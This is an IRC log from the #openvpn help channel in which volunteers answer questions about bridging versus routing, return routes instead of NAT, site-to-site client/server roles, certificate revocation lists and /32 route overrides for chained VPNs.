10:18 -!- raidz_away is now known as raidz
10:19 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Ping timeout: 245 seconds]
10:24 < arnotixe_> dazo: thanks. Well that was for windows. I think ecrist is correct that it isn't supported for the moment. It IS pushed to the client, but shows up as "ECHO-PULL: whatever" in the log, instead of "<info>: whatever"; this seems to be the culprit. I think I'll just leave it at that for the moment.
10:25 -!- russoisraeli [~igor@malka.Princeton.EDU] has joined #openvpn
10:26 <+pekster> Clever use of the management interface to wath the active log output and some parsing shouldn't be too hard
10:26 <+pekster> watch*
10:27 < russoisraeli> hello guys. I decided to try to configure OpenVPN with bridging. I have a DHCP server (ISC) running on the OpenVPN server box already, so I want it to provide addresses to external clients. I've configured everything, as per the manual. My openvpn windows client connects, but is unable to get a DHCP provided address. tcpdump'ing reveals that dhcpd gets the request on eth0, responds on eth0, and nothing gets back to the client. Could someone pleas
10:27 < russoisraeli> e suggest something?
10:27 <+pekster> All things said, I'd really handle that with a different method anyway instead of trying to pass "messages" across the TLS channel like that
10:29 <+pekster> russoisraeli, don't use bridging? Using a server-side DHCP server across an L2 bridge presents lots of problems, just one of which is the default route from the DHCP reply conflicting with the client's own default route (that's used to reach the server itself, creating a lovely catch-22 usually resulting in a loss of all Internet connectivity, including the VPN)
10:30 <+pekster> Bridging is *not* easier than routing (see !whybridge) and neither is using a pre-existing DHCP server due to the additional config required
10:31 < russoisraeli> pekster - but shouldn't the default route for the client be the same as for directly connected LAN clients? Yes, I know that bridging is not recommended, because it's more difficult, etc, but I want to try it anyway.
10:31 <+pekster> No, it shouldn't
10:31 -!- arnotixe_ [~arno@ti0013a380-dhcp5562.bb.online.no] has quit [Ping timeout: 256 seconds]
10:32 <+pekster> Say your client is on 10.10.0.2/24, routing to "the internet" via 10.10.0.1. What do you think happens when the server-side DHCP server tells it to use a default route of 172.20.0.1? How will the client continue to reach the server (say at 203.0.113.17, some random public IP example) if the "new gateway" it has isn't on-link?
10:32 < russoisraeli> trying to understand... with bridging, the client would be connected in a similar way as connected directly to a switch - so the ARP layer would be used to discover hosts, etc. is that right?
10:32 < russoisraeli> ah
10:32 < russoisraeli> i understand what you mean
10:33 <+pekster> Yes. But it's vastly more complicated due to all the extra crap involved, including the distro/OS/platform-specific bridging process itself
10:33 <+pekster> !whybridge
10:33 <@vpnHelper> "whybridge" is (#1) you only bridge if you want layer2 to the lan. if you want layer2 only between vpn nodes then routed tap is enough. if you only want layer3 use tun. or (#2) See this URL for a more in-depth discussion on bridging vs routing: https://community.openvpn.net/openvpn/wiki/BridgingAndRouting or (#3) See also !tunortap
10:33 -!- JSharpe [~JSharpe@90.205.250.10] has joined #openvpn
10:33 <+pekster> So, don't bridge unless you have a *valid* technical reason for making life hard
10:33 <+pekster> "I think re-using DHCP is easier" is not a valid use case
10:33 < russoisraeli> I am an IT guy...making life hard is my life :)
10:33 < russoisraeli> ok
10:34 < russoisraeli> I see the issue with the default route
10:35 <@dazo> pekster: you can use push and setenv-safe together with a script which pulls out the pushed variable and displays the contents
10:35 <@dazo> iirc, that's what JJK does in his book
10:36 <+pekster> dazo: Sure. I just think there's more flexibility to be had by using a distinct signalling method across the VPN once it's established. The whole unix mentality of "one task, one program" and all
10:36 <@dazo> pekster: right, and that's what setenv-safe was designed to cover
10:37 <@dazo> (distinct signalling method)
10:39 <+pekster> I guess I mean not across the TLS channel, but that's a nice solution for people wanting to pass arbitrary information during the handshake
10:46 -!- arnotixe_ [~arno@188.150.150.66] has joined #openvpn
10:50 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
10:53 -!- speed_racer81 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
10:55 -!- arnotixe_ [~arno@188.150.150.66] has quit [Ping timeout: 256 seconds]
10:57 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Ping timeout: 256 seconds]
11:05 < russoisraeli> pekster - got it working. It's actually not too difficult. Some of the steps, such as setting up proper routing, etc, are not needed anymore. DHCPD has to run explicitly on the bridge interface. "redirect-gateway" works too.... I am kinda excited...this is cool :)
11:07 <+pekster> "proper routing" is always required anytime you are routing packets at the L3 layer (IP)
11:07 <+pekster> ie: --redirect-gateway most certainly requires a proper routing setup; bridging does nothing but add extra steps like setting up the bridge interface on the server that's not required in a routed configuration
11:09 < russoisraeli> pekster - well, with routing, I had to setup proper NAT'ing rules to allow clients to reach DNS/IP's in the local network... I am not saying that routing is bad... been using it since 2004 (!!!) ... it's just something new to try
11:09 -!- arnotixe_ [~arno@ti0013a380-dhcp5562.bb.online.no] has joined #openvpn
11:10 < russoisraeli> I want to see how devices relying on broadcasts, such as iTunes, and mdns stuff works with this
11:38 -!- Jayden [Jayden@mx2-edge.pgnetwork.net] has joined #openvpn
11:38 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-jqhylffkocotfuoj] has quit [Ping timeout: 256 seconds]
11:38 -!- JackWinter [~jack@vodsl-10021.vo.lu] has quit [Ping timeout: 264 seconds]
11:38 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-kuiocvfnaaekkyzv] has joined #openvpn
11:40 < Jayden> Hello.  I'm setting up my 1st site-to-site OpenVPN connection.  I have a home lan, on a static IP, and a remote server in the cloud, also on a static IP.  In site-to-site, one has to be the 'client' and one the 'server'.  What's the recommendation/rationale for which one's which?
11:41 <+pekster> Jayden, it doesn't really matter, but generally the client is the one that "initiates" the connection (sends the first packet) so you usually have the client at the 'home' end, or the one behind any form of outbound-permissive inbound-restricted firewall (such as is common on home LANs, even excluding the use of NAT as another reason for this)
11:41 <@dazo> russoisraeli: if you had to use NAT when using routing ... then you really didn't have proper return routes ... or a bad router in your network
11:42 <+pekster> In a p2p-style connection, you can technically have them both attempt to reach the other, but in practice generally you just have the 'server' side listen, while the 'client' side initiates a connection to the other (use of --keepalive by both hosts when operating in a TLS mode keeps the port open on stateful firewalls too, so I'd recommend that. Plus TLS offers perfect-forward-secrecy)
11:44 < russoisraeli> dazo - if you want your clients to use destination LAN addresses, you push the route to the LAN to the clients, and then you have to SNAT outgoing traffic on the vpn box to the LAN address of the vpn box... that's the only working way I know
11:44 < russoisraeli> (to use = to be able to reach)
11:44 <+pekster> Don't SNAT. Route back properly
11:44 <+pekster> If you're performing NAT on a network domain you control, something has probably been set up incorrectly
11:45 < russoisraeli> pekster - ok, I'll check the docs...maybe I am missing something
11:45 <+pekster> !serverlan
11:45 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png |
11:45 <@vpnHelper> http://pekster.sdf.org/misc/serverlan.png
11:45 <@dazo> russoisraeli: you are missing a proper return route in that setup ... really .... your default router needs to route your VPN subnet (or LAN behind VPN) through your VPN server
11:45 <@dazo> russoisraeli: https://community.openvpn.net/openvpn/wiki/BridgingAndRouting#UsingroutingandOpenVPNnotrunningonthedefaultgateway
11:45 <@vpnHelper> Title: BridgingAndRouting – OpenVPN Community (at community.openvpn.net)
11:46 < russoisraeli> I'll check... when I was first setting this up years ago, I didn't know about Freenode :)
11:47 <+pekster> This isn't a VPN concept, but a basic routing concept
11:47 <@dazo> !tcpup
11:47 <@dazo> !tcpip
11:47 <@vpnHelper> "tcpip" is http://www.redbooks.ibm.com/redbooks/pdfs/gg243376.pdf See chapter 3.1 for useful basic TCP/IP networking knowledge you should probably know
11:47 <+pekster> For bi-directional routing the destination of the first packet needs a route back to reach the original source
11:47 < Jayden> pekster: Hi.  Thanks for the info.  In my config, the 'home' side is a router/firewall box with a LAN behind it.  The cloud server is a single VM with multiple IPs -- no additional LAN behind it.  Both the home & cloud sides have firewalls in place.  DOes any of that influence the decision?  Or is it still either-or ?
11:48 <+pekster> Jayden: You can still go either way, but it's usually easier to think about opening ports on the server's (your cloud system) firewall rather than doing the same on the client
11:48 < russoisraeli> pekster - then if you have multiple destinations, all of them need to have a route back. Sounds to me like SNAT'ing is more efficient... requires one line in iptables on the vpn box
11:49 <@dazo> russoisraeli: it's the wrong solution ... really .... a NAT hack is still a hack
11:49 <+pekster> If you just want a site-to-site (without the need to connect future clients to the server) you can use --mode p2p (see that directive in the manpage) but I'd still recommend using X509 certs for the added security it provides; you can technically use static keyed crypto too, but it has drawbacks (see !statickey for details)
11:49 <+pekster> russoisraeli: "all of them" -- huh? You add the return-route on the LANs default gateway
11:50 <@dazo> (given that there's a sane default gateway which does the right thing)
11:52 < russoisraeli> ok.... so a client sends  "192.168.5.1  ->   10.0.0.10", where 10.0.0.10 is some PC on the destination LAN.... the vpn box sees this packet, and forwards it to 10.0.0.10 ....  10.0.0.10 doesn't know where 192.168.5.1 is....so it replies to the default gw... so are you saying that the default GW needs to forward it back to the vpn box?
11:52 < russoisraeli> using a route?
11:52 <@dazo> yes
11:52 <+pekster> Right
11:52 < russoisraeli> ahhhh
11:52 < russoisraeli> didn't think about that one
11:53 <+pekster> You add a route like `192.168.5/24 via 10.0.0.$vpn_ip_octet` to the default gateway
11:53 <+pekster> Standard routing
11:53 <+pekster> The only "valid" use of NAT is an IP-overload situation where your ISP provides you too few IPv4 IPs to use in your private network
11:53 <@dazo> +1
11:53 <+pekster> Any other use of NAT is generally "hackish" (and some would say even the IPv4 "life extension" use of NAT is also a hack)
11:54 < russoisraeli> heh... that's crazy... I used to have OpenVPN's between some 4 different offices... to accomodate routing, I had some crazy-ass NAT'ing rules
11:54 <+pekster> :(
11:54 < russoisraeli> hackish...definitely
11:54 <+pekster> Yea, don't do that. Complexity for the sake of complexity is silly
11:55 < russoisraeli> heh cool..thanks guys
11:55 <@EugeneKay> When you're billing by the hour nothing is silly
11:55 < russoisraeli> lol... yeah, that was the case actually
11:56 <@dazo> EugeneKay: especially if it gives you more work later on ;-)
11:56 < russoisraeli> moreover...as it goes with many Linksys routers, several of my networks were 192.168.1.X, while other Netgear one's were 192.168.0.X ... couldn't renumber, so I had virtual IP networks hacked with NAT'ing
11:57 <@dazo> ugh
11:57 <@EugeneKay> I don't use 192.168.0.0/16 anywhere for that sort of reason
11:57 <@EugeneKay> Fuck da poleece
11:57 < russoisraeli> but since that, the first thing I do on a new home router after changing the password, is renumbering to 172.16.X.Y
11:57 < russoisraeli> exactly
11:58 <@EugeneKay> Don't forgot about the rest of the /20
11:58 < russoisraeli> yep
11:58 < Jayden> pekster THanks.  Read up on p2p mode.  Since I have servers BOTH on my home lan and the cloud box, I think I'll just make the home router/firewall box the 'client' ... that way, IIUC, the lan side will "decide" if/when to connect/reconnect.  Afaict, based on what you've shared, otherwise it's still just 'either way'.
11:58 < russoisraeli> but once setup, hackish or not, it did work surprisingly well :)
11:59 < russoisraeli> and I developed a love relationship with iptables
12:01 <+pekster> Jayden: Right. Both sides can use a `remote` statement, but generally on the "server" side you don't do that
12:03 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Ping timeout: 256 seconds]
12:04 < Jayden> pekster: Thanks for the assist.  I've added in IPv6 endpoints (from a tunnelbroker) to all this.  Hoping that that doesn't complicate matters too much; we'll see how far I get :-)
12:07 -!- Matir_ is now known as Matir
12:16 -!- Jayden [Jayden@mx2-edge.pgnetwork.net] has quit [Ping timeout: 245 seconds]
12:26 -!- daniear [~dan@208.111.40.59] has joined #openvpn
12:26 < daniear> this is safe enough? chmod 700 /etc/openvpn/*
12:27 <@ecrist> should be
12:27 < daniear> i wanted to also use a jail, but then the service won't start
12:27 < daniear> i have no revoke list either
12:28 <+pekster> It's a good idea to use a CRL initially, even if it's empty because it's checked on every connection -- if you don't have it in the server's config, that'll require a server restart to enact (thus kicking all active clients off)
12:30 < daniear> so i make a dir called jail in /etc/openvpn/ then put the crl in there
12:30 < daniear> what file permissions for the jail dir?
12:35 < daniear> to generate crl.pem the how to says . ./vars   ./revoke-full client2
12:35 < daniear> i dont want to revoke any clients lol
12:36 <@EugeneKay> I can't remember the syntax for the life of me, but you can use `openssl` directly to generate the CRL
12:36 <@EugeneKay> I use XCA, where you right-click the CA cert and them hit "generate CRL" :-p
12:40 < daniear> found this
12:40 < daniear> http://www.openssl.org/docs/apps/crl.html
12:40 < russoisraeli> # Revoke a cert
12:40 < russoisraeli> openssl ca -revoke newcerts/0B.pem -keyfile private/cakey.pem -cert cacert.pem
12:40 < russoisraeli> # Show revoked certs from a crl file
12:40 < russoisraeli> cat crl/crl.pem | openssl crl -noout -text
12:40 < russoisraeli> # Create new crl revokation list
12:40 < russoisraeli> openssl ca -gencrl -keyfile private/cakey.pem -cert cacert.pem -out /tmp/crl.pem
12:40 <@vpnHelper> Title: OpenSSL: Documents, crl(1) (at www.openssl.org)
12:40 <+pekster> EasyRSA 2 makes it pretty easy, as does my beta of easyrsa3
12:40 < russoisraeli> I have it in a memo file :-D
12:40 <+pekster> ./gencrl is nearly as easy as XCA, without all the GUI (hard to right-click on anything on my CLI-only box ;)
12:41 < daniear> i'll just go without a crl.pem ;)
12:42 < daniear> i've never had a need to revoke a client anyway
12:42 < russoisraeli> I have several revoked, and the problem is that some of them have openvpn setup to connect automatically in background, and it just keeps hammering, failing, and never alerts the user
12:44 < daniear> my only remaining Q is, for the jail dir i make, does it require any certain privellages
12:44 < daniear> or is just 700 ok
12:45 < daniear> just confuses me because, if openvpn is trapped in the jail, and root user owns that dir then...
12:45 < daniear> although i do have openvpn running as 'nobody'
12:50 -!- dan_ [~dan@180.154.175.250] has joined #openvpn
12:51 -!- dan_ is now known as Guest82187
12:52 -!- daniear [~dan@208.111.40.59] has quit [Ping timeout: 246 seconds]
12:53 < russoisraeli> is there a way to make the scripts ran by OpenVPN GUI to be interactive? mine's just hang where they require user input...
12:53 <@ecrist> not sure
12:54 <@ecrist> probably something in the windows properties for the scripts
12:54 <+pekster> I'd write them such that they don't need to be interactive to begin with
12:54 <@ecrist> like a 'run minimized' check box
12:55 <+pekster> The entire premise is specific to whatever you're running in the first place; openvpn's job is to call the external program/script, not decide how it should run
12:55 <+pekster> What user input are you needing on an interactive basis anyway?
12:56 < russoisraeli> username/pass
12:59 < russoisraeli>   start cmd /c  actually works
13:00 < russoisraeli> also, is "--up" ran after all of the initialization has been completed? after dhcp options were pushed?
13:11 -!- JSharpe [~JSharpe@90.205.250.10] has quit [Ping timeout: 245 seconds]
13:11 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
13:14 -!- nosuid [~nosuid@unaffiliated/nosuid] has joined #openvpn
13:17 <+pekster> Why do you have a 'script' that does the un/pass stuff? You do realize simply including the --auth-user-pass option in your config interactively prompts openvpn to query (via its own GUI included with Windows) for the user/pass, right?
13:20 < nosuid> I'm running an ovpn server for roadwarriors on an embedded system and would like to route lan and vpn client internet traffic through an external vpn provider (tun client running in the same system)
13:20 < nosuid> I had to add route-noexec to the client config for the external provider, otherwise incoming roadwarriors connection would fail (hmac replies were routed through the external vpn)
13:21 <+pekster> hmac is a signature method used to verify the authenticity of messages and thus aren't 'routed'
13:21 -!- vaillor [~Guest6529@adsl-ull-181-65.45-151.net24.it] has joined #openvpn
13:21 < vaillor> hi guys
13:21 <+pekster> The IP packets that include the hmac (among other things) are routed though -- it sounds like your chaining connections? If so, you'll at the very least need a route to the first via the pre-existing gateway
13:22 < nosuid> Ok. Well, the pushed routes from the external server frakked up connections to my server instance :)
13:22 <+pekster> (otherwise any route-override on the 2nd one will wipe out the in-use 0/0 route to the first)
13:22 < vaillor> !static
13:22 <@vpnHelper> "static" is (#1) use --ifconfig-push in a ccd entry for a static ip for the vpn client or (#2) example in net30 (default): ifconfig-push 10.8.0.6 10.8.0.5 example in subnet (see !topology) or tap (see !tunortap): ifconfig-push 10.8.0.5 255.255.255.0 or (#3) also see !ccd and !iporder or (#4) when pushing static IPs, you should also limit your --ifconfig-pool to exclude the static range
13:22 <+pekster> nosuid: Right; either use --route-noexec and add in the routes you *do* want, or otherwise ensure that the client can reach the "outter" connection
13:23 <+pekster> See --route in the manpage as you get some variables like net_gateway and remote_host that can be used to add in that route
13:24 < nosuid> Well, the external provider ip/gateway changes, can I do something my server config so it is locked to a specific interface/gateway?
13:24 -!- elfixit [~fix@2001:1620:2777:11:3e97:eff:fe7f:f3ad] has quit [Quit: Leaving]
13:24 <+pekster> Did you see the manpage bit I referenced?
13:24 < nosuid> Looking :)
13:26 <+pekster> From what you've described, you want to 1) connect to VPN#1 and use it to 2) connect to VPN#2 routing via the connection for VPN#1, then 3) redirect outbound internet traffic via #2? I'm not sure why you think you need such a complicated setup, but easiest in that case is to connect to VPN#1 as you would normally, add in a route via your net_gateway to that host *and* a route to the IP for VPN#2, then connect to VPN#2 using the ...
13:26 <+pekster> ... traditional --redirect-gateway
13:26 < vaillor> do you think that openvpnbooks are sure to use it for credit card transactions or something that needs security?
13:28 < arnotixe_> hi if this is more-or-less a correct place to ask about openvpn-gui (windows): How do I remove the "Connect" entry from the tray icon right-click menu? I found out I can add and remove stuff by changing "HKEY_LOCAL_MACHINE\SOFTWARE\OpenVPN-GUI\allow_service" and the like, but can't find a "connect" on/off entry?
13:29 <+pekster> arnotixe_: Shut the GUI down if you don't want that entry; it's pointless to remove it becuase if you can't connect to a VPN you might as well not run the GUI in the first place
13:29 -!- ||arifaX [~quassel@unaffiliated/arifax/x-427475] has quit [Quit: No Ping reply in 180 seconds.]
13:30 -!- ||arifaX [~quassel@unaffiliated/arifax/x-427475] has joined #openvpn
13:31 < arnotixe_> aha I found out I can set the service_only to "1" and then "Connect" starts meaning "Start service" while "Disconnect" means "stop service" (and Reconnect .... drum roll...)
13:32 < arnotixe_> pekster: yes, it's just easier to ask if the guy in the other end can see green, yellow or red screens in the lower right corner (if I ever would need that :D )
13:32 -!- Guest82187 [~dan@180.154.175.250] has quit [Read error: Connection reset by peer]
13:32 < nosuid> pekster: Right. The router starts the server and the client, so long as the external vpn is running id like to route internet through it. Server traffic will have to go through the preexisting route
13:32 -!- Guest82187 [~dan@208.111.40.59] has joined #openvpn
13:34 < nosuid> pekster: But as long as i have route-noexec in the client there is no route to redirect the traffic through. If i remove route-noxec incoming connections to the server fail
13:34 -!- JSharpe [~JSharpe@90.205.250.10] has joined #openvpn
13:34 < nosuid> Looked at the manpage, could you be more specific?
13:35 <+pekster> I still don't understand what you're attempting to do, so no
13:35 <+pekster> If you need a route to reach $some_IP via your pre-existing network gateway, then add one using the --route command and the macro variables you get
13:36 <+pekster> Presumably one of the pushed routes is your issue (probably the two /1 routes, assuming this "provider" you're using uses def1 -- I don't care to support any "providers" config that can't be pasted to confirm what is or is not happening)
13:36 <+pekster> Hunt for clues in the PUSH_REPLY message (use verb 4 when troubleshooting, see !verb) if you want to go digging
13:36 < nosuid> The provider does push def1
13:36 < nosuid> Spotted in client lig
13:36  * pekster shrugs. Then setup routes how you want them
13:37 <+pekster> The fundamentals of routing don't change just becase you're running openvpn; openvpn merely exposes some useful variables to help create routes you need when the program initiates
13:38 < nosuid> Not to big on routing manually here ;)
13:38 <+pekster> "manually routing" ?
13:38 <+pekster> How is it manual if openvpn does it for you? I'd learn to route before you attempt to design/create/use a complicated setup in the first place
13:39 <+pekster> --redirect-gateway already ensures that you can reach the server itself during its process; if you're running multiple VPNs (even if you're not chaining them) you must be careful that the outside connections to the remote endpoint go over the expected interface
13:41 -!- JackWinter [~jack@vodsl-10021.vo.lu] has joined #openvpn
13:42 <+pekster> A route in the form of `203.0.113.17/32 via 192.0.2.1` is sufficient, assuming 203.0.113.17 is the VPN server you're accessing (of your "other" VPN connection) and 192.0.2.1 is that host's default physical gateway
13:43 < nosuid> If remove route-noxexec both the server and client starts fine and any internet-bound lan traffic is routed through the vpn
13:44 < nosuid> Only problem is that it breaks incoming roadwarrior connections
13:44 -!- erry__ [erry@freenode/staff/gms-slayer/erry] has joined #openvpn
13:46 -!- erry__ [erry@freenode/staff/gms-slayer/erry] has left #openvpn []
13:48 <+pekster> I still haven't a clue what your !goal is. You apparently have 2 VPNs and want to start them both but are apparently struggling to understand some routing concepts and are getting so stuck on that one OpenVPN option that you can't describe what it is you're attempting to do
13:49 <+pekster> That option simply doesn't apply routes. More useful would be to describe the end-game goal and set up your routing to do what you expect
13:50 -!- Improv [~pgunn@dachte.org] has joined #openvpn
13:50 < Improv> Does a client need tun-ipv6 specified or can the server push that?
13:50 < nosuid> Its an openwrt router running one server instance for roadwarriors so they can access internal/lan resources and safely access internet
13:50 < nosuid> And by itself works swell
13:50 <+pekster> nosuid: Okay, so that instance simply pushes routes to any server-side LANs and it's the most-specific route for that network, thus gets used. Say f.ex 198.51.100/24 via that connection
13:51 < nosuid> Yes
13:51 <+pekster> nosuid: I've alraedy told you if you connect to *another* VPN instance that pushes --redirect-gateway, it'll override the 0/0 route with a 0/1 and 128/1 route, thus you need the first instance to add an explicit /32 route via your physical gateway for the remote IP
13:51 <+pekster> This is pretty simple
13:51 <+pekster> Hence why I suggested you read --route for the exact way to do that
13:52 < nosuid> pekster: Care to share a sample server config line?lets assume my server has public ip 12.13.14.15
13:53 <+pekster> What did you learn from the --route manpage description? Let's start from there and see what piece you're missing
13:54 < arnotixe_> ok bye folks, see you
13:54 -!- arnotixe_ [~arno@ti0013a380-dhcp5562.bb.online.no] has quit [Quit: Leaving]
13:54 < nosuid> Should i make such changes to my server instance config or the client instance?
13:56 <+pekster> Presumably the client, although you could in theory use it as a --push if you preferred to send it to all clients (or dynamically via a ccd file)
13:58 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has quit [Ping timeout: 246 seconds]
13:59 < nosuid> Its the external providers push that fraks up the route for my running server instance, i dont see what i could push to my clients to avoid that?
13:59  * pekster sighs
13:59 <+pekster> Add a route to the FIRST remote IP
13:59 <+pekster> How is this hard to grasp?
13:59 -!- michaelhart [~michaelha@162.209.1.130] has quit [Quit: michaelhart]
14:00 <+pekster> Put a thinking cap on for a bit and figure out how your PC is getting the route to use for the next-hop for the first VPN's remote IP? Then what do you think happens when you ask it to *replace* that route? What happens to the next packet that you send to 12.13.14.15?
14:00 <+pekster> It goes out the newly redirected gateway right? This is by design (read --redirect-gateway -- the config has *requested* this change.) If you don't that behaviour for a particular remote host (say your remote server connection terminating at 12.13.14.15) then add a route to override that -- a /32 route overrides any other less-specific route
14:02 <+pekster> !tcpip
14:02 <@vpnHelper> "tcpip" is http://www.redbooks.ibm.com/redbooks/pdfs/gg243376.pdf See chapter 3.1 for useful basic TCP/IP networking knowledge you should probably know
14:02 <+pekster> That may help if you're issue is grasping the basics of how IP routing works
14:03 <+pekster> your*
14:04 < nosuid> I understand what you are saying, but it would seem you misunderstand what my issue is
14:07 -!- cyberspace- [20253@ninthfloor.org] has quit [Ping timeout: 246 seconds]
14:08 < nosuid> Clients cant connect as replies/negotiation from my server 1.2.3.4 is sent through the external vpn. If I first that the server, then connect from a roadwarrior and THEN start the client instance for the external vpn everything works as ibtended
14:08 <+pekster> Then you need to describe the problem better than "hmac reples were routed through the external vpn" -- that bit makes no sense at all
14:08 <+pekster> Right
14:08 <+pekster> Add a route and it fixes that "problem"
14:09 <+pekster> Don't add the route and you continue to have it. Since you claim to understand the point I'm making, implementating it shouldn't be an issue
14:10 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
14:10 <+pekster> Each step of the way any system consults its routing table to see what gateway to send a packet to. It will always use the default gateway strictly if no more specific route matches
14:11 <+pekster> (thus the two /1 routes override the sytem default /0 route. If your 'road-warrior' VPN pushes out some /24 or maybe a /20 supernet or such, that overrides both. Etc.)
14:11 <+pekster> Add routes to your routing tables to get the behaviour you require
14:12 <+pekster> If you don't like the outbound connection being "sent through the external VPN" then add a route on the offending system so it doesn't do that, right?
14:12 < nosuid> Could you give a sample line? Lets say my server listens to host.mydomain.com/1.2.3.4, what do I add to which config? Thank you for your attention so far, but I need a sample
14:14 <+pekster> Ugh. The --route command takes the values listed in the manpage. Your target IP is the IP of your server, the netmask is that of a 32-bit CIDR mask, which is all-ones, which is 255.255.255.255 (255 = 0b11111111, "all ones.") and the gateway can be defined using the net_gateway macro, if what you intended was to route that over your pre-exsting network gateway as the manpage defines
14:14 <+pekster> I'll leave it as your own excersize to put that together
14:15 <+pekster> All --route does is act as a platform-neutral interface to adding routes to your OS kernel. That's it. It's the exact same as adding the specified route yourself, with the benefit of the listed macros you get. Nothing more.
14:18 -!- Kurogane [~Kurogane@201.247.232.65] has joined #openvpn
14:19 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 260 seconds]
14:19 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn
14:19 -!- mode/#openvpn [+o plaisthos] by ChanServ
14:20 < Kurogane> any expert iptables, how i can run in one instance a server with mutiports? ejemple connect to default port and specify port?
14:20 < nosuid> So --route net_gateway 1.2.3.4 in my server config?
14:20 <+pekster> Not the right order of arguments
14:20 <+pekster> Manpage says "--route network/IP [netmask] [gateway] [metric]"
14:21 <+pekster> The metric doesn't apply to you, but fill in the remaining fields
14:21 <+pekster> --route target [netmask] [via_gateway]
14:21 <+pekster> Same exact arguments you feed to `ip route` or `route` or what-have-you
14:22 <+pekster> ip-route(8) on a Linux system or route(8) on a non-Linux Unix-alike has all the lovely details
14:25 < nosuid> I dont know know the connecting clients ip, so im guessing --route 1.2.3.4(/32) 255.255.255.255 1.2.3.1 (my wan interfaces gateway)?
14:26 -!- Improv [~pgunn@dachte.org] has left #openvpn []
14:27 <+pekster> You don't need the connecting client's IP -- you're adding a route to the REMOTE endpoint
14:27 < vaillor> guys, if i do not use "--client-to-client" directive, clients hosts are not able to communicate between them?
14:27 <+pekster> Otherwise, yes. Use the net_gateway macro though as the gateway
14:27 <+pekster> (that way it's the same for all clients, or even if the gateway ever changes)
14:28 < nosuid> Net_gateway macro? Im sure ill understand if you give an example line?
14:28 <+pekster> vaillor: No. Read the manpage as this is very clearly described in the last sentence in the first paragraph for that option
14:29 <+pekster> nosuid: close enough. `--route remote_host 255.255.255.255 net_gateway` . Re-read that manpage entry (for --route) if any of the macros confuse you
14:29 < vaillor> "no" means that they can't or means that i'm wrong?
14:29 <+pekster> It has nothing to do with "allowing hosts to communicate" as it does with how the packets are routed
14:30 -!- C-S-B [~C-S-B@craigsblackie.broker.freenet6.net] has quit [Ping timeout: 264 seconds]
14:30 < vaillor> !howto
14:30 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
14:30 <+pekster> ".. tells OpenVPN to internally route client-to-client traffic rather than pushing all client-originating trafic to the TUN/TAP interface."
14:30 < nosuid> So putting net_gareway instead of specifying the ip will pull it from the os instead of me having to specify?
14:31 <+pekster> nosuid: Right
14:31 < nosuid> I see
14:31 <+pekster> nosuid: In this case you want to route to your remote endpoint (read the bit about how remote_host gets translated) as a /32 bit mask (= 255.255.255.255 in dot-quad notation) via the pre-existing net_gateway
14:31 <+pekster> Thus a /1 route is *less* specific and will not alter the flow of traffic
14:32 <+pekster> /1 = "half of the Internet" while a /32 is "a single IPv4 host"
14:32 < vaillor> ok, i red it. client-to-client is like a p2p topology, not using that seems like  a client-server topology
14:32 < vaillor> it's right?
14:32 < nosuid> Lan clients will still be routed through the external vpn pushing def1 on connect with no additional changes?
14:33 <+pekster> Unless there'se a more specific route. That's routing 101 (which is covered in the linked guide and elsewhere on Freenode, maybe ##networking, not here)
14:34 <+pekster> Anything with a higher mask beyond /1 is more specific
14:34 < nosuid> Ill have a go at it, thanks
14:34 -!- nosuid [~nosuid@unaffiliated/nosuid] has quit [Quit: .]
14:35 -!- C-S-B [~C-S-B@host86-161-28-160.range86-161.btcentralplus.com] has joined #openvpn
14:51 -!- Guest82187 [~dan@208.111.40.59] has quit [Read error: Connection reset by peer]
14:52 -!- daniear [~dan@180.154.175.250] has joined #openvpn
15:06 -!- NotRallias [~rallias@unaffiliated/gasseus] has quit [Ping timeout: 276 seconds]
15:07 -!- russoisraeli [~igor@malka.Princeton.EDU] has quit [Quit: Ex-Chat]
15:26 -!- Rallias [~rallias@unaffiliated/gasseus] has joined #openvpn
15:28 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has joined #openvpn
15:28 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has quit [Read error: Connection reset by peer]
15:30 -!- p3rror [~p3rror@41.140.24.138] has joined #openvpn
15:32 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 246 seconds]
15:41 -!- Denial [Denial@90.202.5.141] has quit []
15:42 -!- speed_racer81 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Ping timeout: 264 seconds]
16:06 -!- daniear [~dan@180.154.175.250] has quit [Quit: Leaving]
16:46 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has joined #openvpn
16:56 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has quit [Quit: Nettalk6 - www.ntalk.de]
17:00 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Read error: Connection reset by peer]
17:00 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
17:01 -!- Synthead [~max@216.239.55.116] has joined #openvpn
17:01 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
17:06 -!- nosuid [~nosuid@unaffiliated/nosuid] has joined #openvpn
17:09 -!- nosuid [~nosuid@unaffiliated/nosuid] has quit [Client Quit]
17:14 -!- nosuid [~nosuid@unaffiliated/nosuid] has joined #openvpn
17:15 -!- ihre [~ihre@unaffiliated/ihre] has joined #openvpn
